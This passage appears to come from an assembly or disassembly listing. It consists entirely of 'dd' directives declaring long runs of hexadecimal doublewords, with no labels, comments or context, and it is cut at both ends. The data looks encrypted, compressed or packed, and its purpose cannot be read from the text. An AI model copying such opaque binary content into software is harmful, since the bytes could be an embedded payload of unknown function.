60140DB9h, 4509C793h, 0D613E1CBh, 995016EDh dd 9AEC3E69h, 0C8DCE9B0h, 8BB4F4B7h, 0D7989096h, 5B0A3668h dd 9D5F0851h, 0E8B4893Ah, 572C4030h, 0BD5798E9h, 0C4FCF62Bh dd 0A722AB6Fh, 36625D6Fh, 4A1254CAh, 1E572D26h, 0C44890BCh dd 0AC4E4F5Ah, 33DCF4DAh, 70EB9401h, 0E5BFC3AEh, 0FA4B344Bh dd 0C9F9A989h, 1AEBEB24h, 14411C0Fh, 44E58B7Fh, 2D447CA6h dd 26586755h, 1E256816h, 7821DF60h, 0C17F0080h, 0E94E07EEh dd 0ADC65605h, 74908F5Fh, 4746BDE8h, 95C5F94Eh, 66909B8h dd 36824260h, 362D43Bh, 8A3494E5h, 31E2640h, 89B7028Fh dd 7CD4FA53h, 0CEDE780Bh, 0F33CA0E1h, 5A952F67h, 0B48783D6h dd 11DD0B65h, 26023BECh, 0AD5B038Ah, 64BDF7A2h, 0BAE36675h dd 97B33061h, 7444F567h, 268D7048h, 44AE02A3h, 609BE978h dd 12EA1749h, 557B9248h, 5F09B938h, 0A52838EEh, 0ACA9859Dh dd 9A1182h, 62217AB8h, 0C3123473h, 0DB045658h, 50842846h dd 0F200A0BCh, 967205F7h, 9ECBD689h, 0D2C475BFh, 27A35A5Ah dd 968EBC4Fh, 788440E8h, 0EBAC124Fh, 0F03CEF93h, 0A3681257h dd 94BEA248h, 0FB057EBCh, 586EE010h, 0B25626ABh, 0B5817ECh dd 3DB10A6h, 0C0CFFE00h, 0B25208E7h, 0D7074574h, 38EF805Ah dd 0C327FCEh, 87F7CFFh, 0D2CD3B4h, 0F15BEE04h, 90C00A87h dd 0C73B8421h, 0A671860Ch, 0F02A6620h, 0C25C82F3h, 0D0FAB517h dd 464B42E1h, 23B5C09Fh, 9FD07D2Bh, 8947D481h, 62EADD06h dd 2E681FB6h, 6EF699A7h, 81F70BEAh, 585AD1B8h, 0DD062C7Fh dd 0C1BDA56Eh, 0BE762BC8h, 30393671h, 0C3FBA05Eh, 61CAF75Fh dd 0E976604Ah, 0BD8013F2h, 4F3A1266h, 7F25AE3Dh, 0EF0306E4h dd 4F169A3Fh, 0C497FEE9h, 1E72D4Bh, 6E024DA2h, 2F582241h dd 426B4ABAh, 6541ED46h, 0A3FB7163h, 622DB802h, 7A59B87Bh dd 0CBF42079h, 19086818h, 8010A2C1h, 0C8E0CEB1h, 0C33E909Dh dd 2D5E8072h, 683A3E09h, 74005533h, 0DDAC4335h, 5A7A8FFBh dd 0EA79091Bh, 58080603h, 9AE070Eh, 0F4E9A2BAh, 0D0F5EBB3h dd 4C0FD6Eh, 0A72EB43h, 915F50ECh, 2ED5E959h, 0B3EA89C4h dd 20EA94D1h, 476097B6h, 0B1CBB39Dh, 460A0929h, 6581FE12h dd 0EA2D1E7Ch, 4BBFA795h, 965D57C5h, 92681754h, 31D18D10h dd 54108FDCh, 0D5C0EB5Eh, 2E080BB0h, 5355A312h, 7F1ADEA6h dd 8C60F6A5h, 7212CDEAh, 0E1AB5694h, 1C0806C9h, 1B71280Bh dd 408B5757h, 0A721477Fh, 4A4280EAh, 0C1809868h, 592EF278h dd 40B434B0h, 0D97580BFh, 3A34A10Fh, 0F4C62229h, 2E4609DFh dd 190261F9h, 2902F163h, 8A7DE0FBh, 3E671F49h, 0CF0A8B5Fh dd 84A0CFD4h, 1F11BC09h, 59DDFC79h, 0AC0F45F2h, 505E25ECh dd 9704744Eh, 8C275822h, 0F795DD0Fh, 585C09A2h, 2FC5FD21h dd 3285F227h, 59B997DBh, 94ABF1D7h, 9E85B528h, 828BB8B5h dd 0F7D58851h, 5EBF3878h, 0AE84F289h, 19E9B66Fh, 4EB2E883h dd 0B8570364h, 34C40B2Bh, 707846F4h, 0B7DBE3Eh, 0DC15E92Ch dd 0BB382FAAh, 6AB2D5F7h, 0E955835h, 0E0EC560Bh, 17565B9Ch dd 0AC777E68h, 53CCC125h, 0C04143F7h, 403F9ADAh, 0AC4A4078h dd 9109053Ah, 57711F06h, 432DA180h, 82257BD0h, 0BFA7C09h dd 1F56253Ah, 0A7A111E4h, 8BFA43Ah, 8B410BF4h, 0BD92FA60h dd 1C51D0D6h, 2EA3CD01h, 317B05E7h, 0C00B3DE6h, 0D95CA58Bh dd 3F19ECAEh, 16B5B0Fh, 3B0AD2DEh, 5513148Eh, 10C5709h dd 5A2069F0h, 1B1EE0DEh, 159C3E68h, 2E59E703h, 0CFB02D87h dd 7CE4368Fh, 0B513E918h, 16EFC363h, 0B8247A56h, 0FE655091h dd 0FA829913h, 985BF8F8h, 9F92B5BFh, 44815F17h, 12D22CA8h dd 68E6C07Eh, 0E5C92671h, 5742267Bh, 86843822h, 7F75EE4Ah dd 4578CBA4h, 0B2F3C20h, 90BC1BE9h, 242FF290h, 1F08CE9Eh dd 20AC9D45h, 0D6BFD1F0h, 0DA878234h, 5C55F468h, 1FC94B85h dd 68E750B6h, 459B6A86h, 0BF593902h, 0B913C066h, 660E902h dd 0D7091341h, 8B05EB23h, 7AB8A493h, 947B8C1h, 0FD4A302Fh dd 4DD72204h, 0EA81DAF7h, 53E56F8Fh, 76A9F03Bh, 7A124378h dd 0A3B91CE9h, 0B17C8B2Fh, 4C16B99Fh, 3AB80880h, 26A80F16h dd 4B8EC231h, 0AB653497h, 0D15DA081h, 0D0A2FD3Eh, 0D73C36B0h dd 5AA53D74h, 0FAAE17A5h, 0DF8742EBh, 0BF01F8CFh, 6C8A7B4Dh dd 12952860h, 583F2852h, 58FD1272h, 0C093030h, 4F064EB1h dd 2141FE63h, 0AE2DC3AFh, 610BB06Fh, 0DF92AC6Bh, 6C2D6D67h dd 0F1D94F0Ah, 0B5356AA0h, 840CE912h, 62E6E27Fh, 8A2E2DB2h dd 950B060Ah, 1E99FA82h, 0FB395463h, 0EE0DE235h, 22056301h dd 0DE311C57h, 6CAC84E2h, 46E6F016h, 5897DD7Dh, 0D5DDE749h dd 26C1F4DEh, 0B80213A0h, 1332C417h, 2812E615h, 1E89EDA8h dd 7F39D7B2h, 0FE4A5A7Ch, 0C63D94A9h, 21E9E687h, 67DD0B90h dd 0F32189E3h, 0AFA08D04h, 12C10CC8h, 0B8FA54DFh, 0DBB35FF3h dd 0C764E9C2h, 171EA990h, 242212Eh, 4BFD07AFh, 0BE2D1318h dd 6B5B614Fh, 0C3F32EC2h, 997DC680h, 0D3308FEEh, 5F5488BBh dd 0D3695C9Dh, 7552F9E8h, 770C2A61h, 1F9F344h, 1AB9C47Bh dd 14010C08h, 2361EDE9h, 725785Eh, 0AA6FC8D7h, 4BBB7C40h dd 0E946F489h, 0E206A4Dh, 2C96852Dh, 0EB86C86h, 112F307h dd 580840D0h, 6487719Dh, 0D3F8B8D5h, 0C81047B9h, 0AEAD4F98h dd 39C64860h, 3FA0EA09h, 45972502h, 0AFF40C3Bh, 0AB0FEF17h dd 644F0102h, 33AA9C1Eh, 9EFC624h, 0B7071CD7h, 14C2E856h dd 0F44AEE3Eh, 4B89B74Eh, 575ADA76h, 54518068h, 0BBFB298h dd 7630DD66h, 2205792Eh, 5E2C14Ch, 0D1C5B283h, 0C3200D32h dd 0E309090Fh, 0E6F58988h, 0C8729DAEh, 0EC6C8609h, 0D8307D4Dh dd 0FBC8C8Eh, 73549CAh, 41A29280h, 815D0D53h, 2B0DA6F6h dd 0B2EBEE85h, 40A99AF4h, 982890FFh, 57C0C91h, 3AE6555h dd 4D6A5B10h, 0FFDC0D3Dh, 4907714Ch, 0C07F2114h, 0AF6A2CCBh dd 5DE4148h, 329271C3h, 0C2515783h, 0C7D4E0B9h, 25969B52h dd 2629AEDAh, 0A4AD4761h, 61EE5193h, 3CD09F66h, 9AF965Ah dd 0F872BE7Bh, 17D76805h, 64D027F2h, 60027042h, 0F109CE1Dh dd 561C2640h, 0DBBBD689h, 5827BEACh, 0D1B904C0h, 0B7BE6226h dd 56AAC101h, 0B16A7A27h, 21E9E196h, 6FEF0023h, 609D49C7h dd 16E3C2AFh, 64F92961h, 0A30BAF93h, 0F6227F56h, 0F3520D78h dd 15E0780h, 3300FB79h, 8C5857EFh, 582C685Bh, 2DEAF47h dd 0EE72D9Dh, 18A18055h, 0B8199130h, 2B2259B4h, 2514F84Eh dd 0A75EFCEDh, 79625A79h, 13900807h, 7EA2B337h, 87C052Ah dd 0A797BB5Eh, 7ED4B9D5h, 0FE9025EAh, 20D2C7F6h, 0F9B951CDh dd 14BF6804h, 0C9F138E9h, 5FDDC021h, 0E946B653h, 0DA7EACA6h dd 0AEBC4EB3h, 0D25DEFBCh, 0B381318h, 0F140308Ah, 24886E21h dd 0ED86D8A4h, 0A3AAD236h, 163025F9h, 91E917D8h, 0CA0BBD31h dd 534B1258h, 735F6918h, 0B91289DEh, 0E55968F5h, 11B164Ah dd 0F0FF1717h, 0CDB5562Fh, 425C946Bh, 49E768A0h, 98D1B3C4h dd 2F05FF14h, 0BFD207A9h, 0CBEE39C5h, 0B7E84EF7h, 2670AA5Bh dd 7A10A32h, 5E68574Eh, 9925141Ch, 0CDD17A76h, 5D01F4F5h dd 0D5B2704Dh, 9BF77F4h dd 0D1D9E399h, 0D0834ED6h, 14E42E24h, 71DA0C04h, 0E4B0319Ch dd 6F414199h, 172126A4h, 0A9381869h, 8059250Eh, 8C2305E9h dd 0B93B5FAAh, 409F73BAh, 48B060B0h, 0E50AFE1Ah, 1CBAE34h dd 0DF5B82E2h, 625F301Ch, 0F48447Eh, 1ADA01C7h, 0D329750Eh dd 8044421h, 56E99142h, 25ABD97Eh, 649837Bh, 0B52BD50Fh dd 0C6EA7989h, 0B9C8D312h, 4F4E8CE9h, 8D279EDh, 0B900888Ch dd 37B674FCh, 0CC525F41h, 6A09C2DAh, 0F670EC59h, 6E0C0ADDh dd 442141D2h, 0E0C1C043h, 4F350807h, 50ABB70Fh, 255D5EFAh dd 70E5FE4Ch, 3FE6C500h, 5AC2257Bh, 40116D2h, 0E9D49F49h dd 7B819917h, 0C65E0BC1h, 2F82ED6Bh, 0D4F637C0h, 20A5B886h dd 68163D95h, 0D8CC7A06h, 101D1F75h, 0F8805720h, 9884D9E1h dd 0FA05D52Eh, 57583590h, 1D680750h, 8B61FD7Bh, 39080FFCh dd 495D0FA0h, 7CAF7AE9h, 0BE965B84h, 2083EA41h, 972A6A7Fh dd 82BEF2AFh, 6BD59C92h, 0AD0C5A4Ah, 0A2012856h, 0E85D9D6Bh dd 2D6AEAB1h, 9C550524h, 0B867906Ah, 0F580077Bh, 53C5FEECh dd 0EDC1D5CDh, 10DDC297h, 9D7A9124h, 9B327466h, 0F5556C84h dd 5D25C4DBh, 7A573B41h, 680B34A2h, 3C7952EBh, 801488ECh dd 969CE0D1h, 504B9305h, 2D55C0AAh, 0E830DEDBh, 5ADFC43Fh dd 4D054851h, 4B5EE909h, 30881C13h, 27F661C9h, 42646AB7h dd 4EAE4000h, 4AC4B540h, 764ABE4Dh, 7AA85067h, 2D91DA9Bh dd 0A253C565h, 7C5C6F09h, 0C0B363F4h, 9C3A2350h, 0DA9F2675h dd 0B56C20E5h, 0BA6DDC9Fh, 43C46B80h, 95E8290Dh, 0ABC1E912h dd 0F8163BBh, 0AD9FB8Ch, 1D4D8B7Bh, 3C523A85h, 7BF4F501h dd 4E702362h, 0D07D19FCh, 0DA3ECA0Ch, 3AB444F1h, 0E9A806BCh dd 8180884Eh, 270AFABEh, 2FE80EF6h, 6B2F7B2Fh, 0F824FA4Bh dd 8A0CA444h, 0F6C660E2h, 41CDB51Ah, 0B215F727h, 0F4015217h dd 519536FEh, 2A5C03Fh, 0BDB8E877h, 78C7CE04h, 0B5C04813h dd 4ECC8706h, 2313FBB4h, 0C05A7EE0h, 27A904B9h, 294A7FBEh dd 0C9089BDh, 78ADE91Ch, 0F91CB770h, 0D9EA2C4Ah, 5529DEC5h dd 5E2FC4F9h, 0B0C61218h, 4E173E7Fh, 8051535h, 5CB98612h dd 0FC274202h, 0C85D8975h, 5C619769h, 0E907E51Eh, 2F846498h dd 0C1079F7Dh, 0F61CF9E1h, 0FDA4F834h, 0F00AE49Dh, 3200BFE3h dd 9605665Ch, 54084A6Bh, 0FABAF55h, 506A41FFh, 9EEACD2Bh dd 6CD5680Dh, 0CBE90C72h, 9F09108Ah, 912F9050h, 8028F375h dd 47D42D48h, 0A6B833BBh, 0E2E3904Ah, 0A2A0AC4Fh, 82C37C35h dd 3F2168E3h, 6614985Fh, 0F8D261Ah, 0D40818Bh, 926431A7h dd 6162D9F2h, 48CA415Dh, 0BA88C56Fh, 0F23BFC9Dh, 570CCF56h dd 1017A936h, 0B5E8668h, 0C434CEE9h, 5AFFF058h, 12BCF6C0h dd 0C2FC403Ch, 25E668E0h, 1BA5CA91h, 3FA81360h, 0C438A8C5h dd 5F0BA133h, 0D57138FFh, 0A6362B7h, 0C95CBA09h, 0D86DC781h dd 36F0C0B8h, 0DEE9B568h, 6D042ED6h, 0E4EE215Bh, 2764F75Dh dd 0CA950123h, 522C97CAh, 51870343h, 0E98858D8h, 0A6A91FE5h dd 545442D5h, 0E2D2C9D7h, 5CC9D427h, 6150E685h, 6B322BE7h dd 58891FA6h, 5B9D2AEEh, 25C54466h, 0D945CF0Bh, 3A494E2Fh dd 0B1A875DBh, 61038024h, 635502Fh, 0FDEF8147h, 0B990167Fh dd 2BF3B04Eh, 0BF3F3213h, 20F55B00h, 0B7312921h, 3B0747h dd 56C4DF2h, 5FBAE945h, 930CB257h, 0BE1616AEh, 0D16B7F39h dd 0DDD531FCh, 3F4375B0h, 3A3592C0h, 0C7405AF9h, 0BFDFB50h dd 24DFF14h, 8894F725h, 0DD0C937h, 8FB252B0h, 6F672468h dd 53666F5Bh, 34402A51h, 328818BBh, 0DDCBAC6Eh, 49275217h dd 6FCC1901h, 0F7CA8701h, 71A84AC5h, 5E735438h, 200C28EFh dd 35926EE3h, 0E9ABDDBFh, 0F396037Dh, 0E5370B93h, 0CAD19A68h dd 61EFBF83h, 8082E462h, 28288401h, 0BCE6E5B4h, 0D6EEC052h dd 35412221h, 8060631h, 9E04EED2h, 53E9788Dh, 0C6476265h dd 534495EFh, 0B29BBB9Bh, 604FF55Ah, 0CA1433CFh, 0E25330h dd 11172AFBh, 250886BBh, 0E1091FB3h, 0EE81A056h, 68D0597Dh dd 90570B2Bh, 4C74EDE2h, 72E5575Ah, 2B282427h, 17E45E52h dd 683340DAh, 77764339h, 0E7062BB0h, 5CA341D6h, 6C69009Ah dd 0DD0513BFh, 25F4882Dh, 0A8734C00h, 478E0D46h, 3564002Ch dd 602F59E7h, 4A5AF5E9h, 0E6014874h, 7E7F7C3Bh, 1ECA92Eh dd 1F9FDECh, 0AD6CD7E9h, 7379C4Fh, 70E900E5h, 0F0D99D9Fh dd 16974AA8h, 4BE916E3h, 328BBAE5h, 462BF44Ah, 5A2C859Fh dd 10AD0BECh, 0DF05E931h, 0CA013BDFh, 1A4B59AAh, 7DBD982Eh dd 5C0A5225h, 90F10F5h, 5702C383h, 0ABED6751h, 0C9097030h dd 4C7D6969h, 0C14E59h, 2ECC002h, 0CE73CC80h, 7F60F425h dd 20662049h, 294C48D0h, 7F15822Fh, 808F4858h, 14DB5CA7h dd 90FDD625h, 9A2C0CDFh, 2C567FF2h, 654D4662h, 386D8754h dd 172CBE00h, 0F64E1685h, 0CC8F4B2Dh, 6228463h, 3C312613h dd 0BFEC7EDh, 0F020A866h, 0E40504B6h, 0BA60B8E6h, 0E912D8E3h dd 87C7E14Dh, 52C8B5D2h, 1C5ED3A3h, 2558E761h, 248C14F7h dd 523E8A27h, 4A13A9C0h, 0E9630605h, 0D7D417BCh, 0EFDEC2BAh dd 2D03F250h, 6F3171E5h, 63E1B040h, 54700C2h, 6AF63762h dd 8C6B8FE9h, 0FA96D777h, 2D12159Ah, 50BA64A0h, 5927083Ah dd 0E9417EF9h, 562A2660h, 0A87D80C7h, 681221B7h, 93CC2EFDh dd 7EA14192h, 0DD84F9C7h, 800C28ACh, 150653F5h, 590EECE0h dd 36E9E630h, 1C6F55F1h, 80E8D39Dh, 78090577h, 9136DD25h dd 923F7762h, 0FEE25303h, 6BDD1EA9h, 50D9D743h, 2CB301DDh dd 0CB80D3F6h, 0B83B206Bh, 0D843043Dh, 0E9D8061Dh, 772B2DAFh dd 8397271Dh, 90E6B07Fh, 1DAB95C7h, 5F84A37Fh, 19B9BC01h dd 0C8884112h, 2EF3C193h, 37E70C21h, 1F517417h, 52DBB0FEh dd 2D071EBAh, 5CF02243h, 0AC5D73C9h, 0B78DC6C8h, 0CE17B8E9h dd 31181345h, 0D787AC6Ch, 5397BF26h, 0C669C357h, 0F1FB4FD4h dd 23E87F6Fh, 0D9E95DF0h, 0F6121163h, 0D08CBAD4h, 5AD016Ch dd 77B840D3h, 9952DC2Dh, 4DB8285Ah, 0F92C0741h, 0C6542C00h dd 64BF583Dh, 0AB4F9004h, 0E9D8C729h, 4445B057h, 75F0C303h dd 0AF2A1B3Dh, 66B782F2h, 4D60F505h, 92B7B1AAh, 88C8408Fh dd 6445286Fh, 55D140D5h, 4EF16817h, 2FE9C36Ch, 85FB89ECh dd 9B8E762h, 0F3010B7Dh, 9230088Fh, 7E85681Eh, 6E807126h dd 0B2B80EBh, 0DF89FC75h, 0BBFE809Eh, 0F0685181h, 1B8150B2h dd 47818E9h, 8AA25DC3h, 7042761Ah, 3C013A2Dh, 39052F42h dd 54D27D5Eh, 0C37909BDh, 524E5C6Eh, 4DFD7629h, 2EC0262Fh dd 0C1FA06B6h, 0A2D5547h, 2D97B5D0h, 20D22507h, 959E617Fh dd 0C0F28100h, 0F77046AFh, 5816A0B0h, 0DF4E3166h, 0E9BA28FAh dd 5A071E49h, 8C50BA9Eh, 0FA7FCBB7h, 0F121406h, 128CE6Fh dd 595C1B20h, 40F01B4Ch, 2939662Ah, 1E0BC8FBh, 912D6AD0h dd 1FC0289h, 7D56FEF3h, 7BBD0455h, 0B04EE978h, 9106BB23h dd 293D255Dh, 5B0C3CFAh, 0CE785A4Bh, 50EDF9F7h, 664A8E9h dd 0C9F05A0Ah, 0D38A5A8Ch, 0DD844CFh, 0C009BD7Eh, 2981F2A5h dd 0C89A8252h, 94FE0977h, 5E3C105h, 2EB48781h, 0FF6F0B05h dd 43051F56h, 82010888h, 0A8D76F3Ah, 379FF8DBh, 6A1760B7h dd 766055E7h, 0E1242FBDh, 0AFD6A45h, 90108244h, 171C6808h dd 23051834h, 0D2FF015Eh, 4350FEh, 0BA02B8FAh, 607F8938h dd 9CD529B4h, 5E0A91D8h dd 90D54AA9h, 0E9D3685Bh, 65953B55h, 0CA8BE050h, 3E601BB4h dd 95032169h, 727A34Ch, 0FFE11A54h, 4A46CE00h, 0B8050936h dd 5927EE9Eh, 0A9AB2884h, 0B2E24E01h, 681D98B4h, 0A945A432h dd 1B48D54Dh, 409E5F1Bh, 0EC1CCD62h, 5A4527F3h, 74984716h dd 0DDB98D25h, 6DC6F410h, 0F82F0827h, 9CA29D5Ah, 82B27170h dd 0E3742109h, 0BEA6CC2Fh, 59A1024Dh, 4C573F13h, 48EE0151h dd 5122FD7Eh, 2112857h, 0CCE93BAFh, 12390A67h, 58070103h dd 2AC7D3EEh, 427943BAh, 91DF4735h, 3D0C8BCBh, 2B35975Bh dd 0F353E112h, 64E83DEEh, 0F19F55B4h, 8B567267h, 0A71909h dd 5968CF45h, 987BB547h, 0CE288839h, 0BFFF177Fh, 3D299B99h dd 0BF98026Ch, 5E6E1E0Fh, 0CDB34610h, 0B7E304ADh, 0B2785F31h dd 585E0FF2h, 0F0560B48h, 0AD4D48A3h, 0C32B7D00h, 93F18101h dd 79A8541Dh, 6DF5C983h, 0E9B20070h, 69FD30C2h, 10C1D9F7h dd 49261BFFh, 0BF25A231h, 0D33C0E21h, 46B304A5h, 63F2BEE8h dd 0FFCA2B17h, 3CD5E68Dh, 147712C2h, 5F12213Ch, 0E7D30CADh dd 981C0FEFh, 0D16B85DCh, 17B91DC0h, 5FB11D0Bh, 45135E89h dd 3F05F134h, 0A8A46EADh, 0C8E610h, 1D4006BDh, 0E5ED8174h dd 35F86D18h, 6589700Ch, 0A0EB4C7Dh, 0E355AE89h, 0F442BF78h dd 5F2F3297h, 3A752A29h, 508F42FBh, 0BC9EBEB5h, 7989C4A5h dd 0FF01CBC5h, 78A3E930h, 266CFD2Fh, 0B6006E66h, 69685389h dd 9B4BB59h, 544C977h, 9945DCB7h, 2A294581h, 18C7250h dd 1F0D4C65h, 13B5FE9h, 28A2B655h, 629361F0h, 0F4C52FF8h dd 8560A5A7h, 1063C1Eh, 16A0E934h, 0A2B20524h, 0BB47F280h dd 3E2CF181h, 2A68D8C0h, 0C505F20h, 0DDF6B6B5h, 0C000C5C0h dd 0C68003EEh, 5FA2E9B3h, 7CA48A56h, 0A6FA9AA0h, 0D45D10C9h dd 2F755215h, 0EC710A01h, 8E7626CFh, 525302D4h, 9B549ABAh dd 0B6AF0DDh, 3EC77BD1h, 76880D80h, 0EB12B47h, 48AABD09h dd 99C18D7Bh, 0AC8A3F0Eh, 16970FF0h, 5D10D254h, 73D71AEAh dd 398469A5h, 0C55E0E97h, 8FAEB322h, 0B08E5C80h, 0A4FCE95Fh dd 7558BD82h, 0B73E20FAh, 0C52E9647h, 0F86B1292h, 0AE749704h dd 97777E58h, 40FF3275h, 627120B5h, 111F07Ch, 35F6CA48h dd 6062A896h, 4FF6C77h, 0AB499EC2h, 78C7F034h, 1FF91416h dd 0A005A00Eh, 3503F22Ch, 0A72E0ED5h, 25089C3h, 0E3CA74EBh dd 0B2E85D16h, 8BC00B36h, 0B92466CDh, 6B79B703h, 0BD6BF501h dd 57E5E1Eh, 525356BAh, 0AF43BB92h, 384F5E9h, 5A31C743h dd 0D7F21040h, 82B7F62h, 0CB3C7951h, 40B98984h, 94D7E9F0h dd 0D2030091h, 0D9019E69h, 5B004C19h, 0D1BFE268h, 0A758AF8Ch dd 0DB2511Ch, 0C0044D24h, 8F8302E2h, 0DF919FC5h, 0A9ADAF6h dd 585D06C4h, 29B198ACh, 0A5DF24C9h, 0A632A9DAh, 75EAA313h dd 89808029h, 75D469AEh, 0D80AF7F8h, 81463860h, 7743EC03h dd 0DB180423h, 15D584Fh, 301633D6h, 0C53CF400h, 47850A4Bh dd 42B299D5h, 0DFC9EFA5h, 2201956Eh, 9B925D1Eh, 5EE9F075h dd 6BEED96Ah, 0C15E4CADh, 5B3488h, 24352FBAh, 2CD17DDh dd 24785D62h, 494E6100h, 20FAC110h, 6F5FA065h, 0B06BF5B1h dd 135EF06Dh, 688289E2h, 4CD70197h, 35CD0063h, 12B81883h dd 255EF0FCh, 6F8ADDE0h, 8D8092DAh, 2D477816h, 0AB0B8969h dd 5A8D6CFCh, 0F41EBDAh, 4D803E3Bh, 0BE5E247Bh, 705331A0h dd 0BE5AE0A0h, 0ECF7C5CFh, 4402B1EAh, 1720AACh, 0F70B1576h dd 997470DFh, 0D78856C0h, 7C0595Ah, 0CF8006E7h, 69EF6772h dd 0F12085D0h, 8A69DA7h, 1585DF2h, 1C5126CFh, 0EBEB888Eh dd 6EC52A72h, 0EDC6780Ah, 4C9B36C3h, 1E010EB7h, 2918781Bh dd 23A144FBh, 22045F08h, 9332AFFh, 0BB1412EBh, 7C068CF3h dd 28480C63h, 842E6D03h, 0C7EB016Bh, 5D05082Ah, 0E6D2ABE9h dd 5A1FD405h, 222D8EF6h, 0E2D0212Bh, 9F80F837h, 30DD8409h dd 295BEFBh, 686B0B46h, 0BB560143h, 9C790049h, 97EE8C1Ah dd 0D6F999E3h, 3EF1FD5Ah, 5C05FE8h, 4A4233DDh, 0B95E972h dd 5BF916D7h, 254B801h, 486636B3h, 0FC935F5Fh, 0C5D588A2h dd 25D6A0DCh, 71D9158Ah, 12732E8Eh, 48F8A6BFh, 298A04A8h dd 94BF2757h, 579616EDh, 9367F914h, 0BD31D2BCh, 293F55Eh dd 1E61DD5Ch, 8AD3B47h, 0CFF570Bh, 9F0A2622h, 0FAEC2904h dd 6A53EA01h, 0D9016C1Ah, 2F716151h, 0F2B18F07h, 48CF4272h dd 0BEEC37Bh, 5E557275h, 0F268B510h, 33317BE5h, 8004987Eh dd 0B414DD3Bh, 8033687Bh, 0B85246E2h, 5A3432F8h, 95CFC1Fh dd 0FD6F408Bh, 25E9D007h, 786CEB3Bh, 52CC2F68h, 0BA40B29Ah dd 0C527E94Bh, 53FCD4BEh, 54469FD8h, 67C720F3h, 72140F13h dd 23945E01h, 0F544D6F5h, 0FD4B19ACh, 25AE9455h, 3D18E68Eh dd 0F9965453h, 0B30BAACh, 0A19C5CE7h, 0EB72D6A8h, 0BBF96913h dd 0CA31E4C8h, 80E3B319h, 5133F181h, 609D2E7Bh, 0B587A777h dd 1F4F67E6h, 3EBE5400h, 97095404h, 0AC804165h, 2156E842h dd 0D15D39EEh, 284C1BAh, 0ACC375E9h, 27C4C789h, 5365D709h dd 7D5C0D32h, 0E98B1FF9h, 0D68850B7h, 0CE9BEBFDh, 174C3062h dd 0BBAC4305h, 0C652DE07h, 0A4CFD32Fh, 5F598A25h, 3FEABA03h dd 0EFB31BD3h, 619064A8h, 9BE0FCF9h, 19F6F09h, 727B5DF9h dd 65D6E961h, 44CB32Eh, 6163149Eh, 7C539EC2h, 67062EEh dd 2417276h, 0E2DB6C2Ah, 0BD8BF040h, 0F55CE5FAh, 0EE3219EAh dd 9B3153AEh, 0ADE8DAC9h, 2D14C180h, 0F8707668h, 2C98F829h dd 0B550882h, 4094D178h, 8DE95655h, 4FF59749h, 0B76604EEh dd 9EFDAB72h, 8663C5h, 1A4DB755h, 6E1D050Ch, 54AD78DAh dd 7B468859h, 7C9B6804h, 7210E9E3h, 35660725h, 2D412733h dd 29E1AD47h, 0DF33FC2Fh, 180F8E64h, 0EF31C73Fh, 0D69F9C8Dh dd 7368805Fh, 0DDF3E964h, 91AE597h, 96D57259h, 0F33360C6h dd 0CA03B6BDh, 0EB891012h, 0FCDEEEB2h, 6F836E0Bh, 0E6089FF4h dd 985D1228h, 955E649Ch, 944E4BF4h, 9401F6Fh, 0C21AEE09h dd 623185DAh, 54014738h, 0B06DFC6Ah, 0C071FAE9h, 9E4CFD5h dd 0CC06867h, 2DC17F93h, 0FCEF5AD1h, 2B2F025Fh, 0E1D729E3h dd 87018D69h, 3115DCF7h, 0E8EFCBC0h, 0C128B444h, 630F880Ch dd 4A82C65Ah, 0D19A7BC1h, 40CE9AFDh, 6F77417Eh, 2A0C286Fh dd 0E802F653h, 295E171Fh, 0A71AE5F2h, 3F2D0DC8h, 68226105h dd 0D8AE07C8h, 4D3BAE18h, 9DD150BAh, 44B32602h, 544520E9h dd 1BF76003h, 0D59838D4h, 2BE40B1Dh, 0BBA8E906h, 0C68380A3h dd 2F912E46h, 0A9D82F30h, 89A21632h, 8F967DF8h, 8A2A6E9Ah dd 0F707B3FCh, 26524308h, 853A55B3h, 69EEA7BBh, 83015E4h dd 31093697h, 1A41F6C2h, 2F72B01h, 0C1D9ABBh, 1F0067F4h dd 590D76EEh, 793C5D4Ah, 0B471325h, 8E09FA3Eh, 2FCE2FCh dd 0C24C5097h, 0AC275710h, 4DF65912h, 0BC3F246Fh, 0A85F80B2h dd 0A2FFF477h, 70C710CAh, 0ABEB6812h, 0B885C8E3h, 0CE420081h dd 21758F2Fh, 125BDD30h, 206454CBh, 81002926h, 4CD2DEF5h dd 9595E9C4h, 0AFBAAB85h, 9C96845Eh, 0E85ED5AFh, 0BDF1509Ch dd 229B1A1Dh, 3E73E580h, 0F9830AE0h, 0D5066328h, 0C438B52h dd 771CBD0Ch, 3CED3832h, 792E7E17h, 0D5E906DCh, 594FB483h dd 0BE9770F2h, 3D6A2329h, 0A8796039h, 4F375182h, 0C082C8C6h dd 3020B298h, 0EA44D69Fh, 6FD7A05Eh, 75EB7E84h, 1E528255h dd 0EA0730D5h, 5C9DCCh dd 8AC087C9h, 0E4455509h, 0C61D71A6h, 2508F193h, 25F2884h dd 193373D5h, 98E8FA31h, 393F3FA1h, 6BE28260h, 0E0612E0Ah dd 626A842Fh, 1D79C07Ch, 68DE98FFh, 0E93764F5h, 0DBE886h dd 75BF57ADh, 0F87CDC36h, 0AC2A4B2Ch, 79B4CF54h, 8B295BC2h dd 0B776FB8Bh, 5217F927h, 317264D5h, 0BB4C927Ch, 79E2C05Dh dd 30BCB0C1h, 3A307FBDh, 3A0AF4CEh, 0B7A6E972h, 0F25D96EFh dd 78A5C903h, 0D5C18106h, 4B6C54E1h, 0BFAF175Ah, 6E3EF968h dd 0F7C9396Fh, 0EE88E623h, 2B873491h, 3C8D405Fh, 0C5471C6Dh dd 0E764F58Bh, 28BE660Fh, 16048474h, 129639A8h, 0FFF3ABCCh dd 1C946D1h, 84721B56h, 0B8007A24h, 6DC24538h, 8500E5B7h dd 83F43A08h, 7890EF1Bh, 0E91267A2h, 0F5AFFD87h, 18F36B36h dd 821BE134h, 38A63606h, 20559B9h, 0BFE3E953h, 0B6509056h dd 0DE6E25ADh, 6051C71Bh, 29DF605Ah, 633DE925h, 68C2DCACh dd 4A560B96h, 0E1441182h, 0CF2277D0h, 0BAD5623Ah, 700285EAh dd 4049A3C2h, 0F779D1Fh, 0EBE93F19h, 0CECACCF6h, 16E0BE88h dd 0E05ACB21h, 0F1163FC1h, 55090DC8h, 82FFFE5Eh, 6894131Eh dd 0E22DB345h, 0B3B1C1C6h, 0CB5E417Fh, 877C877Fh, 46495638h dd 0F0EAD133h, 0E61B1EF2h, 17E925B4h, 8B27F87Ah, 712E764Ah dd 0BCF388Ch, 2F9B652h, 696D855h, 0AE5A4258h, 0F9BABB24h dd 2D5E3F95h, 5C770052h, 95307231h, 0CD6E63D9h, 1061A42h dd 